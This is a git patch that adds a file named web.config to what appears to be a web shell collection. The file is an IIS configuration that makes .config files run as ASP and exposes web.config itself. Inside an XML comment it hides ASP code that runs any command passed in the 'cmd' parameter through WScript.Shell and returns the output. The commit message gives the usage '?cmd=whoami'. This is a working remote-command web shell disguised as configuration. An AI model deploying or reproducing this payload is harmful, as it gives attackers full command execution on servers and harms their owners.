From 77618164ade430e0daa670df6f954e1bfd2b3a57 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Sat, 15 Feb 2020 18:09:16 +0800
Subject: [PATCH] Create web.config

use: /web.config?cmd=whoami
from: https://sethjackson.github.io/2018/10/27/rce-through-web-config-upload/
---
 aspx/web.config | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)
 create mode 100644 aspx/web.config

diff --git a/aspx/web.config b/aspx/web.config
new file mode 100644
index 0000000..9636530
--- /dev/null
+++ b/aspx/web.config
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<configuration>
+   <system.webServer>
+      <handlers accessPolicy="Read, Script, Write">
+         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
+      </handlers>
+      <security>
+         <requestFiltering>
+            <fileExtensions>
+               <remove fileExtension=".config" />
+            </fileExtensions>
+            <hiddenSegments>
+               <remove segment="web.config" />
+            </hiddenSegments>
+         </requestFiltering>
+      </security>
+   </system.webServer>
+</configuration>
+<!--
+<%
+Response.Write("-"&"->")
+
+Function GetCommandOutput(command)
+    Set shell = CreateObject("WScript.Shell")
+    Set exec = shell.Exec(command)
+    GetCommandOutput = exec.StdOut.ReadAll
+End Function
+
+Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
+Response.Write("<!-"&"-")
+%>
+-->